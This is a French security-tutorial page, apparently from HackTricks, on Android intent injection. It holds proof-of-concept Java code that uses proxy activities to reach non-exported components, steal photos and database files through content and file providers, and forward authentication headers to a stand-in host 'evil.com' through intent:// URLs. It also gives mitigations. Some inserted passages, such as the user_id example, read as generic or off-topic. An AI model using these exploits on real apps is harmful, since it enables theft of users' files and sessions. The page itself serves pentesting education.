hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md
2023-06-03 13:10:46 +00:00

20 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Recherche tirée de https://blog.oversecured.com/Android-Access-to-app-protected-components/

Introduction

Cette vulnérabilité ressemble à Open Redirect en sécurité web. Étant donné que la classe Intent est Parcelable, les objets appartenant à cette classe peuvent être passés en tant que données supplémentaires dans un autre objet Intent.
De nombreux développeurs utilisent cette fonctionnalité et créent des composants proxy (activités, récepteurs de diffusion et services) qui prennent un Intent intégré et le passent à des méthodes dangereuses telles que startActivity(...), sendBroadcast(...), etc.
C'est dangereux car un attaquant peut forcer l'application à lancer un composant non exporté qui ne peut pas être lancé directement depuis une autre application, ou à accorder à l'attaquant l'accès à ses fournisseurs de contenu. WebView change parfois également une URL d'une chaîne en un objet Intent, en utilisant la méthode Intent.parseUri(...) et le passe à startActivity(...).

{% hint style="info" %} En résumé : Si un attaquant peut envoyer un Intent qui est exécuté de manière non sécurisée, il peut potentiellement accéder à des composants non exportés et les exploiter. {% endhint %}

Un cas typique

Examinons un exemple. Fragment du fichier AndroidManifest.xml.

<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />

Activité ProxyActivity

startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));

Activité AuthWebViewActivity

webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

AuthWebViewActivity est un exemple de fonctionnalité cachée de l'application qui effectue certaines actions non sécurisées, en l'occurrence en passant la session d'authentification de l'utilisateur à une URL obtenue à partir du paramètre url.

Les restrictions d'exportation signifient que l'attaquant ne peut pas accéder directement à AuthWebViewActivity. Un appel direct...

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);

Lance une java.lang.SecurityException, en raison d'un Refus de Permission: AuthWebViewActivity n'est pas exporté à partir de l'uid 1337.

Mais l'attaquant peut forcer la victime à lancer AuthWebViewActivity elle-même:

Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

et aucune violation de sécurité ne se produira, car l'application qui est attaquée a accès à tous ses propres composants. En utilisant ce fragment de code, l'attaquant peut contourner les restrictions intégrées du système Android.

Escalade de l'impact

Afin d'escalader l'impact de cette vulnérabilité, vous devez trouver d'autres vulnérabilités / erreurs de configuration qui pourraient permettre d'augmenter l'impact de la vulnérabilité (car la vulnérabilité en elle-même ne crée aucun risque).

Escalade des attaques via les fournisseurs de contenu

Outre l'accès à des composants arbitraires de l'application d'origine, l'attaquant peut tenter d'accéder à ceux des fournisseurs de contenu de l'application vulnérable qui satisfont les conditions suivantes :

  • il doit être non exporté (sinon il pourrait être attaqué directement, sans utiliser la vulnérabilité que nous discutons dans cet article)
  • il doit avoir le drapeau android:grantUriPermissions défini sur true.
    • android:grantUriPermissions="true" indique que votre code Java peut utiliser FLAG_GRANT_READ_URI_PERMISSION et FLAG_GRANT_WRITE_URI_PERMISSION pour n'importe quelle Uri servie par ce ContentProvider.
    • android:grantUriPermissions="false" indique que seuls les Uri spécifiées par les éléments enfant <grant-uri-permission> peuvent être utilisées avec FLAG_GRANT_READ_URI_PERMISSION et FLAG_GRANT_WRITE_URI_PERMISSION.

L'attaquant doit se définir comme destinataire d'une intention intégrée et définir les indicateurs suivants :

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION permet un accès persistant au fournisseur (sans ce drapeau, l'accès n'est valable qu'une seule fois)
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION permet l'accès URI par préfixe - par exemple, au lieu d'obtenir un accès séparé à chaque fois en utilisant un chemin complet tel que content://com.victim.provider/image/1, l'attaquant peut accorder l'accès à tout le contenu du fournisseur en utilisant l'URI content://com.victim.provider/ et ensuite utiliser ContentResolver pour adresser content://com.victim.provider/image/1, content://com.victim.provider/image/2, etc.
  • Intent.FLAG_GRANT_READ_URI_PERMISSION permet des opérations de lecture sur le fournisseur (telles que query, openFile, openAssetFile)
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION permet des opérations d'écriture

Un exemple de fournisseur typique où un attaquant peut y accéder et effectuer des opérations régulières telles que query, update, insert, delete, openFile, openAssetFile.

<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>

Exemple de vol de photos d'utilisateur dans le fichier AndroidManifest.xml

Lorsqu'une application Android demande l'autorisation d'accéder à la galerie de photos de l'utilisateur, elle doit inclure cette autorisation dans son fichier AndroidManifest.xml. Si l'application ne spécifie pas correctement les autorisations requises, un attaquant peut exploiter cette vulnérabilité pour accéder aux photos de l'utilisateur sans son consentement.

Pour ce faire, l'attaquant peut utiliser une technique appelée "injection d'intent". Cela implique de créer une application malveillante qui envoie un intent à l'application cible pour accéder à ses autorisations. Si l'application cible ne vérifie pas correctement les autorisations, l'attaquant peut accéder aux photos de l'utilisateur et les voler.

Pour se protéger contre cette vulnérabilité, les développeurs doivent s'assurer que leur application vérifie correctement les autorisations avant d'accéder à des données sensibles telles que les photos de l'utilisateur. Les utilisateurs doivent également être conscients des autorisations demandées par les applications et ne pas accorder d'autorisations excessives à des applications non fiables.

<activity android:name=".LeakActivity" android:exported="true" />

Fichier MainActivity.java

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
        | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
        | Intent.FLAG_GRANT_READ_URI_PERMISSION
        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image

Attaques sur Android File Provider

Cette vulnérabilité permet également à l'attaquant de voler des fichiers d'application situés dans des répertoires prédéterminés par le développeur. Pour une attaque réussie, l'application malveillante doit obtenir des droits d'accès à Android File Provider, puis lire le contenu du fournisseur de fichiers à l'aide d'Android ContentResolver.

Exemple de fournisseur de fichiers (pour plus de détails, voir https://developer.android.com/reference/android/support/v4/content/FileProvider)

<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>

Il fournit un accès en lecture/écriture aux fichiers d'une liste spéciale qui peut être trouvée dans les ressources de l'application, dans ce cas à res/xml/provider_paths.xml

Cela peut ressembler à ceci

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root" path=""/>
    <files-path name="internal_files" path="."/>
    <cache-path name="cache" path=""/>
    <external-path name="external_files" path="images"/>
</paths>

Chaque balise spécifie un répertoire racine avec une valeur path relative à la racine. Par exemple, la valeur external_files correspondra à new File(Environment.getExternalStorageDirectory(), "images").

La valeur root-path correspond à /, c'est-à-dire qu'elle permet d'accéder à des fichiers arbitraires.

Supposons que nous avons des données secrètes stockées dans le fichier /data/data/com.victim/databases/secret.db: le vol de ce fichier peut ressembler à ceci dans MainActivity.java.

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server

Accès à des composants arbitraires via WebView

Un objet Intent peut être converti en chaîne avec un appel à Intent.toUri(flags) et de nouveau d'une chaîne à un Intent en utilisant Intent.parseUri(stringUri, flags). Cette fonctionnalité est souvent utilisée dans WebView (le navigateur intégré de l'application) : l'application peut vérifier un schéma intent://, analyser l'URL en un Intent et lancer l'activité.

Cette vulnérabilité peut être exploitée à la fois via d'autres vulnérabilités (par exemple, la capacité d'ouvrir des liens arbitraires dans l'application dans WebView directement via des activités exportées ou par le biais du mécanisme de lien profond) dans l'application cliente et également à distance, y compris la cross-site scripting côté serveur ou MitM côté client.

Exemple de code vulnérable

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
        return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}

Le point ici est que la méthode shouldOverrideUrlLoading(...) de la classe WebViewClient est appelée chaque fois que WebView essaie de charger un nouveau lien, mais donne à l'application la possibilité d'ajouter un gestionnaire personnalisé.

Pour exploiter cette vulnérabilité, l'attaquant doit créer une redirection WebView vers une URL de schéma d'intention spécialement préparée. Exemple de création d'URL

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

Exemple d'attaque

Supposons que nous ayons une application qui utilise une Intent pour lancer une activité qui affiche les détails d'un utilisateur. L'activité est lancée en utilisant l'ID de l'utilisateur comme extra dans l'intent. Le code ressemblerait à ceci :

Intent intent = new Intent(this, UserDetailsActivity.class);
intent.putExtra("user_id", user_id);
startActivity(intent);

Un attaquant peut exploiter cette fonctionnalité en injectant une Intent malveillante qui remplace l'ID de l'utilisateur par un ID différent. Par exemple, l'attaquant peut créer une Intent qui remplace l'ID de l'utilisateur par l'ID de l'administrateur :

Intent intent = new Intent(this, UserDetailsActivity.class);
intent.putExtra("user_id", admin_id);
startActivity(intent);

Si l'application ne vérifie pas l'identité de l'utilisateur avant d'afficher les détails, l'attaquant peut accéder aux informations sensibles de l'administrateur.

location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

Cette version contient plusieurs restrictions par rapport à la version classique de la vulnérabilité :

  • Les objets intégrés Parcelable et Serializable ne peuvent pas être convertis en chaîne de caractères (ils seront ignorés)
  • Les indicateurs d'insécurité Intent.FLAG_GRANT_READ_URI_PERMISSION et Intent.FLAG_GRANT_WRITE_URI_PERMISSION sont ignorés lorsque Intent.parseUri(...) est appelé. Le parseur ne les laissera que si le drapeau Intent.URI_ALLOW_UNSAFE (startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE)) est défini, ce qui est très rare.

De nombreux développeurs oublient encore de filtrer complètement les intents reçus via WebView.

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
    	Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
    	intent.addCategory("android.intent.category.BROWSABLE");
    	intent.setComponent(null);
      startActivity(intent);
      return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}

L'attaquant peut spécifier un composant non exporté via un sélecteur.

Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"

Et contourner la protection de l'application contre les intents explicites. Nous recommandons donc également de filtrer le sélecteur.

intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);

Mais même un filtrage complet ne garantit pas une protection complète, car un attaquant peut créer une intention implicite correspondant au intent-filter d'une activité non exportée. Exemple de déclaration d'activité:

<activity android:name=".AuthWebViewActivity" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:scheme="victim" android:host="secure_handler" />
    </intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());

Nous recommandons donc de vérifier si une activité est exportée avant de la lancer.

Autres façons de créer des intents non sécurisés

Certains développeurs d'applications implémentent leurs propres analyseurs d'intent (souvent pour gérer des liens profonds ou des messages push), en utilisant par exemple des objets JSON, des chaînes de caractères ou des tableaux d'octets, qui ne diffèrent pas de la valeur par défaut ou présentent un grand danger, car ils peuvent étendre des objets Serializable et Parcelable et permettent également de définir des indicateurs non sécurisés. Le chercheur en sécurité peut également rencontrer des versions plus exotiques de création d'intent, telles que la conversion d'un tableau d'octets en un Parcel puis la lecture d'un intent à partir de celui-ci.

Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
    byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
    Parcel parcel = Parcel.obtain();
    parcel.unmarshall(handle, 0, handle.length);
    startActivity((Intent) parcel.readParcelable(getClassLoader()));
}

Vuln app

{% embed url="https://github.com/oversecured/ovaa" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥